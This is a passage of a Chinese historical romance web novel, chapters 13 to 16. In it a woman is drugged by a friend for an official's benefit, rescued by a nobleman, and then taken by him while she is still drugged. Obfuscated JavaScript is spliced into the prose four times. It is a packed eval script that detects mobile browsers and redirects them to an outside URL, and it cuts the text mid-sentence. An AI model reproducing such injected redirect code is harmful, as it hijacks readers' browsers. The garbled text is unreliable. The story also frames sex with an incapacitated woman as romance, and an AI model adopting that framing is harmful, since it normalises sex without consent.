青鸳刚退出去,随安便走了进来。 “世子……表姑娘来了。” 13. 留下 姜明月盯着自己的脚尖,看着裙摆微微摆动,摇曳不定。 她也不知道自己是怎么了,明明决定不在乎,可是最后还是忍不住跑了过来。 她想,像她这样身份的人,大概也不能表现出不在乎。 若是公子误会自己不在意他怎么办? “姑娘,世子让你进去。” 随安对姜明月施了一礼,掩饰住他有些复杂的神色。 青鸳还未近世子的身,世子就有些排斥,难道真的只有表姑娘才行吗? 姜明月定了定心神,走进书房。 深红色的大氅随意地搭在一旁,周诩面前放着卷宗。见她进来,他眉梢轻挑,温声道:“这么晚怎么过来了?” 他的态度一如既往,语气中隐含着关心。姜明月却感觉心中莫名一阵酸涩。她眨了眨眼,似有些委屈。 她嘴唇嗫嚅,下意识捏着手中的帕子,忖度着如何开口。 周诩也不催她。想来,便是自己这几日忙于公务,疏忽了她吧。见她眼眶微红,他心中倒是升起几分愧疚。 然而许久,姜明月只扬起笑容,将手中的的绣帕递了过去。 “公子,这是我新绣的帕子,特意拿来与公子看,还望公子不嫌弃。” 那帕子是他昨夜才见过的。杏色的缎面,一对鸳鸯栩栩如生,只是体型瞧着略有些圆润,令人生出遐想却又升不起邪念。 柔软的布料陷在她的手心,露出一截泛红的指尖。周诩掀起眼,果然,面前的姑娘白皙的脸庞也如那指尖一般,染上红晕,垂着眼,微微颤颤。 “多谢你。” 姜明月手上一轻,她下意识抬眼看去。居高临下,她看见周诩垂着眼,接过绣帕。 他神情专注,修长的手指展开帕子仔细地端详那两只圆滚滚的鸳鸯戏水。这样看着,姜明月忽然有些羞赧。 她的绣工不差,只可惜大概是年纪不大就开始绣了,如今绣得也总有几分童趣。这样的帕子,拿在公子手中,却不是很相配的。 周诩知她是用心绣的,也不愿再多说什么点评的话,只将帕子收进袖中。 姜明月松了口气。 如此直白的纹样,公子想必是明白她心意了。 她所做的一切,都多少带着几分赌的意味。她想知道公子究竟对她是什么态度。如今看来,公子并不排斥她的示好,应该是有几分在意她的。 只是说到底,公子也还没有给她什么名分。 周诩见她似乎比前些时沉默了一些,便主动开口问道:“这几日过的如何?” “有公子庇护,自然极好。”她回答得极快,之后顿了顿,又撒娇般,“只是见不到公子,想与公子道谢都没机会……” 道谢自然说的是外出一事,她这道谢说实话,来得有些迟。 姜明月撒娇的话说得自然无比,周诩眼中流光微转,点点头,也不愿拆穿她。 “那就好。过几日便要回京,我已经吩咐过青鸳,你若有什么需要直接与她说就是。” 吩咐过青鸳…… “难道世子找青鸳有事,便是这件事吗?” 周诩桃花眼蓦地眯起,神色更是隐隐带了几分冷意。 “你怎知我找她有事?” 姜明月吓了一跳,她有些慌张,下意识拉住周诩的衣袍,“我,我无意中听到的。今日午后在院子中,我碰巧去院子中……” 她说着,低下头,也知道自己不该偷听。 周诩望着她拉着衣袍微微颤抖的手,不知在想什么。 许久,他轻笑,“无事。” “本也不是什么需要避着人的事。” 姜明月见他神色如常,心中稍定。 原来公子不是需要青鸳服侍啊…… 她只觉得心中如释重负,整个人欢喜起来。来不及细想这欢喜,因压在心头的事得到解决,姜明月又想起了一件事。 “那公子,回京之前,我可以去与小春告别吗?” 周诩没立刻回答。他似乎顿了一顿,接着颔首应允。 “自然,让从枫陪你去就是。” “多谢公子!”姜明月杏眼弯弯,欢喜之下她并没有留意周诩有些复杂的神色。然而那神色转瞬即逝,很快他又恢复了温和缱绻的模样。 “公子还要忙吗?不如我陪公子一起吧。” 姜明月在一旁的榻上坐下,双手撑在两侧,身下的软垫微微下陷。她目中似有星光,又有些小心翼翼,生怕被他拒绝。 “若是你不困的话,那便随你。” 他确实还有公务要忙。见姜明月想要留下,心中也有几分明了。只是他没有拒绝,让她自己去取了本书看,便继续忙自己的事。 夜色渐渐深沉,屋外也逐渐安静下来,书房中只剩下纸张翻动和烛火燃烧的声音。 姜明月歪在靠枕上,看着手中的游记看得入迷。她的裙摆皱起,衣领也歪歪扭扭,露出胸前一片雪白的肌肤,在烛火下如玉石一般。 “啪嗒”。 不知什么时候,书页翻动的声音停下。周诩抬头,便见她歪歪扭扭地靠在榻上,青丝铺开,不知什么时候睡着了,手中的书滑落在身上。 晚风徐徐从窗户的缝隙吹来,单薄的衫子领口微敞,被风吹得起起伏伏,若薄纱在轻抚她的肌肤。 周诩移开眼。 他将还带着血腥味的大氅拿起,起身出门,唤了随安来。 “取件干净的氅衣来。”他将大氅递给随安。 “是。表姑娘——” “她歇下了。” “世子是要送表姑娘回去吗?不如……再试一次。” 周诩神色隐在暗处,晦涩不明。 “不用。” 他转身。随安愣了一会,才反应过来。 世子说的不用,是指不用再试。而他,也不准备送表姑娘回去。 随安站在原地,许久,叹了一口气。 姜明月是在陌生的房间醒来的。 她直起身子,有些茫然地望着眼前房间的布置。 房中布置十分简单,清一色暗色的陈设,唯独中间有一扇巨大的山水画屏风。雪白底上是青绿的山水,山峦叠嶂连绵。 她呆呆地望着那山间垂钓的老翁出神,好一会才回神,忆起昨夜之事。 她忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746195|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然睁大眼睛。 这难道是公子的房间? 姜明月知道,她身上没什么不适,昨夜自己定然与公子什么事都没发生。然而这是她第一次见到公子的卧房。 这时,门口传来轻轻的敲门声,红袖的声音传来:“姑娘起身了吗?” “起了。” 姜明月急急蹑履。不等她起身,门被推开,红袖端着水走了进来。 “姑娘!我伺候姑娘洗漱。”她朝姜明月眨了眨眼。 姜明月见到她也十分欣喜。 “昨夜没见到姑娘回来,后来听随安哥哥说姑娘在世子那歇下了。” 姜明月双颊微微泛红。可她摸着手下的被衾,抿了抿唇,还是忍不住问:“那……公子呢?” 昨晚公子也歇在这吗? “嗯……我没见到世子。世子好像在书房呢。不过,世子让姑娘等下去他那用早膳!” 姜明月原本还有些失落,然而听到后半句,她眼睛一亮,露出笑容。 书房中,周诩将手中的信折起。一早,从枫便匆匆从外面走了进来,说京中来信。 而这信上,无非就是催他尽快回京。 “提前三日回京。” “是。”从枫应声,转身欲走,又被周诩叫住。 “若是姑娘要出门,多留意她那个朋友。” 从枫一愣,不知道世子为何这么说。但他不能质疑世子的命令,自然应下。 周诩桃花眼微眯。 他没有和姜明月说过,他在酒楼见过那个小春。 这酒楼并非一般酒楼,来往的皆是权贵,单是普通百姓想要进来就很难。而那日,他不仅看到了小春,小春穿的也不是布衣,而是一身绫罗。 他从楼上望下去,看着侍女领着她进了一个厢房。 若她只是个从花楼逃出来的姑娘,又怎么可能这幅打扮出现在那里? 他没兴趣知道去探究这其中的缘由,只是若姜明月还要与她接触,那他不得不防。 周诩并不打算告诉姜明月这些事。 他不想她知道这些。若是可以,他也希望自己的猜想是错的。 而姜明月得知后日便要回京后,自然想到与小春告别。 “后日回京?”姜明月手上的动作一顿,“那公子……我可以今日去见小春吗?我保证,这是最后一面,” 她知道公子今日似乎是休沐在家,她也不愿耽误行程。可小春是她在吴州为数不多牵挂的人了。因她此番离开吴州,也不知何日还能再相见。 人生短暂,而如她们这般出身的女子,更是命如浮萍,又如春花般脆弱。 姜明月许久以前就知道这一点。 她脸上的笑容依旧明媚,仿佛无忧无虑。 周诩一眨不眨地看着她,似乎看穿了她所想之事。他没有阻止,只笑着对她点了点头。 “我昨晚已经答应过你,自然不会食言。你若是想今日去,那便去吧。” 一旁的从枫神色一凛,立刻想起世子吩咐的事。 然而他只听世子顿了顿,似是在思索,接着又道:“不过这次,来回你便与我一道如何?” 14. 中药 周诩桃花眼微眯,勾唇扬起微笑,神色自若。 在场几人都愣了一瞬。 见状,他不紧不慢地补充道:“顺路。” 既然周诩开口了,姜明月自然没有拒绝的道理。虽然心中期待他能专程陪自己一趟,可又心知没可能,更多的还是惊喜。周诩愿意与她一起,她自然乐意,毕竟她也想和公子多相处。 她重新绽开笑颜,“那便辛苦公子送我一趟了。” 用完早膳,从枫去命人套了马车。马车十分宽敞,车壁用了上好的缎子,是时下江南富贵人家流行的风格。缎子厚实,从外面向马车内部看什么也看不到,然而马车内部却透光,仿佛那布料只有薄薄一层。 姜明月摸了摸这缎子,入手光滑,和自己从前见过的不同,便感到有些新奇。 “公子,这是什么缎子?竟像纱似的。” 周诩掀起眼皮,闻言笑了一声,意味不明。 “就叫丝光缎。江南富庶,这缎子早些年原是送入宫中的。” 姜明月了然,怪不得从前没见过。 马车徐徐前进,先将姜明月送到了河边。因为与世子同乘,红袖便没来。姜明月领着裙摆下了马车,没注意身后周诩撩起车窗的帘子,对从枫颔首。 从枫心领神会。 等姜明月进了饭馆,从枫绕到饭馆后院,纵身一跃翻过院墙。 小春见到姜明月,先是一愣。接着,她敛下眼中的其他情绪,露出欢喜的笑容。 “明月,你怎么有空过来!”她上前抱住姜明月的手臂,接着佯装生气,“我还以为你把我忘了。” “早知你这样想我,我便真不来了。” 姜明月忍不住与她嬉笑了一会,如从前那般。然而等静下来后,姜明月想起自己的来意,情绪还是一下子变得低落。 “小春,我后日便要走了。今日……是特意与你告别的。” 小春倒水的手一顿。 “明月,你……就要走了吗?” 她背对着姜明月,声音微微颤抖。 姜明月没说话,只点了点头。小春明明看不到,可也知道了她的答案。她没动,两人皆是一阵沉默。 许久后,小春叹了口气,“明月,我们或许,从此不会再见了吧。” 被卖进抚春楼后,她便再无父母家人。本以为姜明月与她一样,便会一直在一起,没想到如今,连明月也要走了。 她目光稍暗,然而脸上却扬起笑容,故作轻松地道:“我最近学了做青团。本是春分时才吃的,但想来那时你就吃不到了。不如今天便尝尝?” 厢房的门被推开。隐在暗处的从枫打起精神,留神看着。出来的人只有姑娘的那个朋友,只听她一边向外走,一边说着:“你等我一会!我去给你取来。只有豆沙馅。” 房中姑娘应了一声,从枫心中稍定。他只守着姑娘无事就好。 小春提着裙子快步朝前面的厨房走去。刚一进后厨,小春就见她的义母面露难色,一边洗菜,一边时不时朝前堂望去。 “义母,怎么了?” 小春下意识顺着她的目光向外看去。然而目光刚触及外面坐着的中年人,她心中便是一跳。 “这客人在那坐了许久了,也不点菜,也不走。” 小春压下心中翻滚的思绪,安抚地冲她笑笑,“没事,我来招待他便是。您别担心。” “可……” 小春的义母终究是不想让她一个姑娘家出面的。然而小春不等她反对,径直走向那人。 见她来了,那男人露出微笑。 “终于把你等来了。说,刚才做什么去了?” 小春先是回头飞快地看了一眼,见这角落偏僻,并无旁人注意他们的对话,便对他笑笑,压低声音。 “叶大人怎么来了?” “你不想我来?大人我好不容易来这种地方见你一面,你居然这么问。”他咂舌,紧接着沉下脸,“我送你那些金银绸缎可都是背着我家婆娘的。我这人没什么耐心,你懂我的意思吗?” 小春低着头,指甲狠狠扎进掌心。 好一会,她慢慢松开手,笑容不变,伸手拉住他,“我自然明白大人的意思。大人能看得上我这般模样,是我的荣幸。只是……若是有比奴家容貌更甚的,不知大人有没有兴趣?” 这叶大人挑眉,也来了兴致,“比你还好?那我可要一见。” 小春垂着眼,一字一句地回道:“正是。人此刻就在后院。” 说完,她心中说不出什么感觉。或许,还是如释重负多一些。 左右明月跟着那公子也还没有名分,若是跟了这位叶大人,他开心了,怎么说也能做个宠妾。 她是不怕那位公子知道后生气的。 从京中来的又如何,她打听得清楚,这叶大人也是京中权贵出身。他还有身为贵妃的妹妹在宫中,膝下也有皇子,虽说是新贵,可若是这位三皇子即位,还论什么新旧呢? 这叶大人见惯了京中女子,来到江南后便对这里柔情似水的姑娘十分感兴趣。自己也是仗着容貌和从前学的那些手段,引得他有了兴趣。 可若让她就这么跟了他,她也是不愿的。 她要的不是这些。她要进京,要认识那些真正的凤子龙孙。 叶大人本就带着一身火而来,听小春说完更是迫不及待。他起身就要朝后院走去,却被小春拦住。 “大人稍等,若是突然行事,我怕她被吓到。不如先让我跟她说过,大人再去。” 叶大人眉头皱起,想了想,重新坐回去,还是答应了。 “快些,大人我时间有限。” 小春朝他福了福身,不再耽搁,转身朝厨房走去。 “小春,那客人——” 小春不等义母说完,便打断她:“没事了义母,那官老爷是坐着等人的。您也别管了,左右他也没碍着什么。” 她的义母一听是当官的,讷讷点头,知道他们惹不起,便埋头继续干活。 小春轻叹一口气,转身从柜子里取出一小罐茶。 这是她闲着没事的时候做的花茶,可惜除了头一道花香浓郁,泡不了几道这茶就没了味道。 如今,一道也够用了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746196|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她终究还是心疼明月,不希望她受太多苦。 小春取了一点茶在茶碗里,又将压在茶罐最下面的一小包药粉取了出来。 滚烫的热水浇下,花香随着热气升起,干枯的花瓣缓缓展开,在水中旋转。褐色的药粉溶进花中,逐渐消失不见。 她重新取了个杯子,将泡好的茶倒进去,又兑了点凉水。 “明月,我回来了。刚刚又将青团重新热了一下,耽误了时间。先喝点茶吧。” 姜明月自然不会介意。不疑有他,她接过茶杯,小春见她喝了几口,心中松了口气。 她稳住自己的声音,不让自己的声音听起来有些颤抖,“我去取青团来,你先喝茶。” 小春转身,扶住门框,顿了顿,她匆匆走了出去。 姜明月坐了片刻,却忽的觉得眼前一晃。 紧接着,她的视线就一片模糊。 姜明月能听到自己逐渐急促的呼吸声。她试图起身,然而四肢却没有一点力气,只余令她难耐的灼热。 “嗯……” 姜明月被自己不受控制发出的声音吓了一跳。她紧紧咬住牙关,不让那令人脸红的声音出来。 就算再不明白,到了此时,姜明月也清楚,那茶里被下了药。 她的身子一片滚烫,而心中却如坠冰窟。 门外传来了男人的声音,姜明月压下心中升起的绝望,挣扎着拔下头上的簪子,狠狠朝手上刺去,以换取片刻的清明。 “砰——” 就在她意识涣散之际,门被人一脚踹开。 姜明月忍不住下坠的心,在见到门口的人时,全部化作了难受和委屈。 姜明月仰着头望向他,喃喃唤道:“公子……” 光在周诩周身打上一圈光晕。他一身月白锦缎,桃花眼冰冷一片,好似天神。 周诩面色阴沉,望着屋中的一片旖旎。 眼前的姑娘眼眶微红,双眸含情,一头青丝凌乱地披散着,平添艳色。她小声喘着气,红唇开合,倚在床榻上,白皙似玉般的手正有殷红的鲜血流出,顺着她的指缝沁湿手下的被衾。 身后,被从枫反扣双手抓住的叶大人还在挣扎。 “周世子,你就是这么对待长辈的吗?” 周诩对他的叫骂恍若无闻。他狠狠地啐了一口,盯着周诩的背影,“你算个什么东西?你老子见到我都不敢造次。” 周诩脚步一顿,却没转身。 “原来叶大人还不知道我是个什么样的人。”他轻笑一声,“从枫,带走。” “是。”从枫低着头,不敢去看房中的情形。只是他这次护主不利,还是让姑娘受了伤害,定是要被责罚的。 “你!带走?你带我去哪?我可是朝廷命官!……” 周诩不再理会他。他缓缓走进房中,望着姜明月,神色不明。 “公子,我好难受……”姜明月目光迷茫,无意识地去扯自己的衣领,又伸手想要去碰周诩。 周诩闭了闭眼。 他伸出手,握住姜明月的手。 “别怕。” 15. 放纵 周诩微微一使劲,姜明月整个人便不受控制地朝他身上扑去。 她腿脚发软,受伤的那只手也下意识抓住男人一尘不染的锦袍。月白被红色沾染,仿佛那清遐的天神正被一点一点拉入深渊。 周诩任由她抓着,双眉微皱。 他尝试与她对话。可惜姜明月望着他薄唇开合,脑中早已一片空白,根本无法理解他的话语。 半晌得不到回应,周诩顿了顿,索性放弃。见她如此,他自然知道她中的那药格外烈,眸中冰冷更甚。他不再多言,随手扯过床榻上的薄衾将她罩住。 姜明月只觉得眼前一暗,身上热意更加得不到缓解。她想扯开那碍事的薄被,却被禁锢地动弹不得,鼻间萦绕着青竹般清冽的气息。 等到她再次恢复视野,眼前是一片鹅黄色,微微晃动的绸缎随着马车行进,光线变化,忽明忽暗。 她几乎是趴在周诩腿上。她上方,周诩正垂目,拿着帕子替她手背上的伤口包扎,灵活的手指很快便打好了结。 “别动,回府便会有大夫替你医治。” 姜明月指尖无意识地在他腿上划过。她试图支起身子,却又因双臂无力,再次跌到他怀里。双眼朦胧地望向周诩, 挨得比之前更近了,姜明月可以确认,自己从那竹香中嗅到了她再熟悉不过的脂粉气。 不知是委屈害怕还是不甘更多,又或是因为浑身难受得厉害,而她又偏偏知道不用等大夫,眼前的男人就可以帮她,姜明月只觉得自己的理智正彻底离她而去,只剩下本能的动作。 她攀上周诩的肩,微微喘着气,声音还有些颤抖,娇声喊了一声“公子”。 周诩没动,桃花眼晦暗,像是打量猎物般盯着她。他似乎是在等,好奇她下一步会做出什么事,露出什么破绽。 他从始至终都知道,自己对眼前这最不该动念之人,早在最开始,便动了念头。 明明生涩,却总有许多小心思,要使出那些自己为高超的手段,摆出毫不在意的模样勾人,实际不过是对她一点点好,便能让她卸下防备,露出自己最柔软的地方。只要他想,便能肆意蹂躏,让她目瞪口呆,就算反应过来后也只能继续娇声哭泣。 所以他纵容,他自欺欺人地回避,不过是无法阻止自己心中那些欲。 他知道,他和继母的矛盾不该牵扯到她。本不想和她再扯上关系,如今看来,就算扯上了,也不过是随了她与自己的心意,也成全了继母苦心把她送到自己身边。 更何况,她能让自己安眠,如此,便能将她绑在身边,今后也不用另寻方法偷偷接近她。 周诩望着她唇上深红如朱砂般的痣。他早就摸过,自然知道这唇是怎么样的。 姜明月知道自己心跳得极快,快得像是被一只无形的大手攥住。可她无暇顾及,只轻轻闭上眼,将自己柔软的红唇贴上他的。 与自己相比,他的唇极凉。周诩不动,姜明月便不敢妄动。她呆呆地维持着一个动作,不知过了多久,才僵硬向后仰头,再次和周诩拉开距离。 “公子,求你……” 她几近央求,再多的话,她也说不出来了。 周诩终于眼光微动,像是一直在等这句话。 他揽过她的腰肢,在她回神之前,贴了上去。 天光正好,阳光透过绸布将马车照得通亮。马车缓缓行驶,街道上人声鼎沸,谁也不知道这看似普通的马车中,身形修长清隽无双的年轻公子正将比他娇小许多的姑娘压在车壁上。 他骨节分明的手将姜明月纤细的手腕固定在头顶,不让二人的动作伤到她手背上的伤口。 二人心思各异,却又不约而同地沉浸在这一刻。姜明月因着无法拒绝的反应眼角溢出泪水。朦胧中,她望着车壁人影憧憧,只觉得一阵羞耻,方才的新奇早就消失得无影无踪,仿佛自己与外面的行人只隔着这一层薄薄的纱。 “公子……” 她抑制不住地出声,却听耳边,周诩“嘘”了一声。 “丝光缎能透光,我却不知隔音如何。” 他声音一如既往地温润清冽,然而说出来的话却透着些恶劣。若是隔音太差,自然不可能成为宫中御用。无奈姜明月脑中早就一片混乱,无暇去判断这话的真假。她只能听周诩的,下意识咬住下唇,不敢出声。 周诩目光幽深,然而他终是有着理智。等马车停在别院后,周诩衣衫整齐,从马车中走下来。若是不看他怀中抱着人,竟觉得他与平常再无不同。随安和从枫早就死死低着头,站在马车外不敢多看,只将自己当成不存在。 红袖得了信后,匆匆赶到了卧房前。还不待她走近,便被一年长的嬷嬷拦下。她平时守在别院,主要在世子不在时需要管理别院里的大小事务。今日被叫来,她还有些意外。然而来到这院子里,听世子房中的动静,她便明白了是怎么一回事。 这江嬷嬷虽然刚开始也有些害臊,可是终究年龄大,见多识广,很快神色便坦然起来。可红袖不同,她年纪不大,也是未经人事的姑娘,听到里面的动静,虽然马上反应过来是怎么回事了,可正因如此反而脸红心跳,恨不得转身离开。 最后,她听到了自家姑娘细细的哭声,似难过却又似愉悦。她有些不安,但一旁的江嬷嬷却面露了然。 “红袖姑娘,待会我去端些热水来,你好服侍……你家姑娘。”世子没开口,她不知该如何称呼姜明月,不过左右都是主子,小心伺候便是。 红袖讷讷点头。她不知姜明月情况究竟如何,只是想来这事身为姑娘家定要吃些苦头的。一边担心她,一边红袖又替她高兴。姑娘那么喜欢世子,世子却不肯碰她,如今都好起来了吧。 许久,房中的动静终于停了下来。红袖松了口气。江嬷嬷早就备了水,红袖等了一会没听见房里唤自己,只得硬着头皮上前敲门。 “世子,姑娘,水备好了……” “端进来吧。” 听到世子的声音,红袖不敢怠慢,连忙低头将水送了进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746197|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >进了房中,她也不敢多看,只觉房中一片温热。她正犹豫要不要上前服侍姜明月,就听屏风后,世子的声音传来:“你去外面候着。” “是。” 世子的声音依旧温和,可红袖却听出了几分与往日不同的沙哑。她不敢多想,应声后便快速退了出去。 她在门口不知站了多久,房门终于被打开。红袖略微抬眼,就见穿戴整齐的世子走了出来。 “她还在休息,进去守着,莫要打扰她。” 等周诩走后,红袖紧张的神经终于放松下来,同时不由得露出喜色。世子对姑娘体贴照顾,当然是好事。 红袖定了定神,轻手轻脚走进房中。 等绕过屏风,红袖就看到外层厚重的床帐并没有落下,只有里层的纱垂了下来。隐隐约约,她能瞧见姜明月的背影。青丝披散着,她身上盖了一床薄薄的丝被。红袖担心她身上若是湿着会有寒气,小心翼翼地挑起纱幔。 床上铺着的被衾果然湿了,好在姜明月身下还有一块干燥的毛毯。红袖见她模样,便知道世子方才有帮她简单收拾。 只是姑娘脸颊的红晕还未消,领口露出的肌肤上更是…… 红袖脸一红,接着又忍不住心疼她。 世子怎么这般不知怜香惜云? 周诩虽不知她心中所想,可是心里也清楚自己这次有点做过头了。 虽说中了那猛药,可她终究承受能力有限。 站在廊下,周诩久久未动,待凉风吹过,他感觉自己终于清醒,想起自己还有许多事没解决。 随安在不远处站着,神色复杂。他见世子面上的神色重新恢复平静,这才走上前。 “世子,从枫问那叶荣峰和那下药的姑娘怎么处理。” “叶荣峰还有闹吗?” “被从枫带到地牢走了一圈便不说话了。” 周诩轻笑一声。 “等下我去见一见他。至于那下药之人……”他沉吟片刻,“先不急。” “是。”随安应下,接着又请示,“那表姑娘这事?” “哪来的什么表姑娘?”周诩桃花眼眯起,笑容不变。他转头看向随安,“从来都没有什么表姑娘不是吗?只有我从花楼赎回来的姜姑娘。” 随安先是一愣,等反应过来他这话的意思,不由得吃了一惊。 世子的意思,就是要强行留表姑娘在身边了。 “可侯爷夫人那边——” “不必进侯府。” 他声音冷淡,随安垂下眼,“是,属下知道怎么安排了。” 周诩没在开口,随安知道世子还有事,也没离开,二人静静站在廊下。周诩沉默了一会,似是在思索,之后才接着说:“去查一下户部尚书府的二姑娘。” “户部尚书的二姑娘?”随安不解,他不知道世子和她之间有什么联系。 周诩颔首,想起刚才成王的话,神色不明,似笑非笑。 “我父亲似乎有意与户部尚书联姻呢。” 16. 避子 姜明月醒来时,红袖正在支着头,在一旁的墩子上打盹,阳光在她身上印出木窗镂空花纹的影子。姜明月晃神,直到她一动,身上传来的酸痛才让她猛地忆起方才发生了什么事。 囫囵扫了一眼,没看到鞋子,姜明月也不愿弯腰,索性不再去找。她忍着痛,赤着脚下了地,推开窗户。 远处,夕阳染红了天际。她站着,直到风吹进来,她打了个冷颤,才觉得冷,浑身难受。 红袖被这动静惊醒了。她猛然睁开眼,见床榻上无人,这才发现窗前的姜明月。 “姑娘!”她着急,腿上发麻,一个趔趄站起身,去扶姜明月。 “姑娘怎么下床了,连鞋都没穿。”她让姜明月坐回去,用帕子给她擦了脚,将鞋穿上。 姜明月本想安慰她,可却失了力气,说不出话,只得对她笑笑。 等重新穿戴好,姜明月才让红袖扶着她,出了房门。 随安远远站在石阶下。听到声音,他抬起头,对姜明月施了个礼,并不上前。 “姜娘子,世子出门了,晚些时便回来。他让娘子好生休息,并请了女医。” 他对姜明月的称呼已经改了。姜明月发现了,可她没心思再想,只点点头,扯出笑容,“多谢。” 她并未完全恢复体力,光是站着便有些发晕。随安见她脸色苍白,不再多说,让红袖搀着她回了房。 姜明月刚在榻上坐下,女医便来了。女医看着有些年纪,生得慈眉善目,见到姜明月后也不多说,只帮她把脉。 “娘子放心,并无大碍,修养几日便好了。”她温声道,“只是身体里还有余毒未清,容我为娘子开服药,喝几日也就是了。” “多谢大夫。” 女医见着这样温柔貌美的小娘子与自己女儿年龄相仿,便忍不住多说几句,“娘子体弱,这几日就不要与夫君同房了。” 姜明月脸“噌”得红了。她知道女医是误会了,想要解释,却又觉得大概三言两语是说不清的,索性沉默。 女医知她脸皮薄,不再多说,笑了笑,继续收拾东西。 “过几日我再来替娘子检查。” 姜明月抿唇。她后日就要离开了,定是不能再见。 女医收拾好了东西,刚起身要走,姜明月终是忍不住,开口叫住她。 “大夫稍等,我……”她垂着眼,声音极低,“我想求一副避子的汤药。” 女医愣住了。 “娘子……” 她原以为这娘子应与她夫君感情极好,刚才也是那一身贵气的公子亲自来医馆找的她,希望她去府上替身体不适的娘子看病。没想到,这位娘子会问自己要避子药。 可她也不好干涉他人的家事。既然这位小娘子说了,她只得点头。 “避子汤性寒,我与娘子开稍微温和一点的。” 姜明月点点头。她在花楼多年,自然知道这避子汤的药性。 只是自己身份前途未卜,若是真有一日被公子厌弃,又何必让无辜幼儿跟她一起受苦? “还望大夫莫要告诉旁人。” 女医神色复杂地应下。 红袖将煎好的药端来,姜明月服下后,才沉沉睡去。 “娘子睡下了?” 红袖端着药碗回来,正好遇见江嬷嬷。江嬷嬷是这别院唯数不多的管事嬷嬷,细心能干,现下被指给了姜明月。她对此没什么意见,毕竟常年在这江南别院也没什么盼头,而这姜娘子能得世子青眼,定是个好的。 红袖点点头,“娘子喝了药便歇下了,怕是累着了。” “你去守着吧。这里我来就是。” 红袖不疑有他,也觉得不能让娘子一个人睡着,便转身回了房。江嬷嬷接过她手里的药盅回到小厨房。 “嬷嬷来了?快给我,我来拿。” 厨房的婆子见到江嬷嬷,连忙上前。 江嬷嬷谢过她,转身欲走,忽然听到那婆子“咦”了一声。 她端着托盘,边朝里走边自言自语,“娘子只喝了一盅啊。怎么方才红袖姑娘借走了两个药盅?” “另一个刚才就说用完了,已经还回来了。你那时定是去哪偷懒了。” “呸,我不过是走开一会……” 江嬷嬷听着,却皱起眉头。 她转身,叫住二人,“刚才红袖煎了几副药?” 许是喝了药的缘故,姜明月一觉竟睡到了天亮。她睁开眼,只觉得身上虽然还有不适,可酸痛却轻了许多。 “醒了?” 姜明月一惊,连忙支起身子。隔着纱帐,她看见周诩坐在窗边的榻上。 她有些意外,没想到公子会出现在她的房中。因为并未挑起纱帐,她看不真切,只是姜明月不需要看清,便能在脑中勾勒出他的面容。 昨日的情形她大多都记不清了。唯一记得的,便是他眯着桃花眼,掐着她的手腕,明明是要顾及她的伤口,可其他动作却毫无顾忌。 他茶珀色的眸子注视着自己,姜明月才发现,他眼下还有一颗极小的痣。她另一只没被抓住的手想要去碰,却被周诩压下,很快便无暇去想这事。 周诩似乎是在等她。姜明月回神,掀开床幔。她刚想去拿床边的披风,却又停下,只穿着单薄的衫裙下床与他见礼。 “公子。” 见到周诩,她还有些羞意,不禁双颊飞上红霞。她姿态盈盈,面若桃花,睫毛一闪一闪,望着他,双目含无限情意,似乎格外欣喜。 “休息得如何?” 姜明月点点头,却又有些委屈。她上前拉住周诩,喃喃道:“醒来没见到公子,我还以为公子不要我了……” “是,是我的不是。”周诩温声道。 他这般爽快,姜明月被他望着,反而有些不好意思,忍不住避开他的眼睛,低下头。 “明日便要回京了。我想知,你对那下药之人想如何处置。” 他话音刚落,姜明月便浑身一僵。 周诩见状,心中叹气。他当初就是不希望见到她如此,终究还是没防住。 姜明月一直努力让自己不去想小春的事,可是她也知道,自己需要面对此事。 那位叶大人去地牢走了一圈,什么国舅的款都摆不出来了。他意识到自己在吴州,若是真让周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746198|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诩给办了,他那贵妃妹妹在京中绝对什么都不会知道。周诩随便找个理由就能让他意外身亡。 同时,他也恨上了小春。若不是她,自己也不会招惹到周诩。 而小春则在从枫制住叶荣峰时,便面色苍白。 她怔怔地不知道在想什么,许久后苦笑一声,跟着从枫走了。 “她说她有话要与你说。你要去见她吗?” “多谢公子。”姜明月摇摇头,“昨日既已告别,便无需再见了。” 